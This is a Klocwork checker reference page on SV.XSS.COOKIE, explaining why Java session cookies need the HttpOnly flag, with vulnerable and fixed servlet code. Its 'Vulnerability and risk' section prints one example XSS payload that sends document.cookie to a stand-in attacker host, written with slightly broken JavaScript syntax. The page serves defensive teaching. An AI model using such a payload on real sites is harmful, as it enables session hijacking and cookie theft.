SV.XSS.COOKIE
Sensitive cookie without setHttpOnly flag
Klocwork reports a SV.XSS.COOKIE defect when a cookie that is used to store a session ID for a client's interaction with a website, so that the request made by the client can be validated, is added to the HttpServletResponse object without setting the setHttpOnly flag.
Vulnerability and risk
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'
Mitigation and prevention
The HttpOnly flag directs compatible browsers to prevent client-side script from accessing cookies. Including the HttpOnly flag in the Set-Cookie HTTP response header helps mitigate the risk associated with XSS, where an attacker's script code could attempt to read and exfiltrate the contents of a cookie. When set, browsers that support the flag will not reveal the contents of the cookie to a third party client-side script executed by using XSS.
Vulnerable code example 1
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c);
Klocwork reports an SV.XSS.COOKIE defect at line 3, indicating, "Possibility of attack on cookie without setHttpOnly flag" as the setHttpOnly flag is not set on the cookie before adding to the response.
Fixed code example 1
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c);
Klockwork no longer reports an SV.XSS.COOKIE defect at line 4 because the setHttpOnly flag has been set on the cookie on line 3.
Vulnerable code example 2
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(false);
response.addCookie(c);
Klocwork reports an SV.XSS.COOKIE defect at line 4, indicating, "Possibility of attack on cookie without setHttpOnly flag". Although, the setHttpOnly method has been called, it is set as false on line 3.
Fixed code example 2
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c);
Klocwork no longer reports an SV.XSS.COOKIE defect at line 4 because the setHttpOnly flag has been set on the cookie on line 3.
Related checkers
External guidance
Security training
Application security training materials provided by Secure Code Warrior.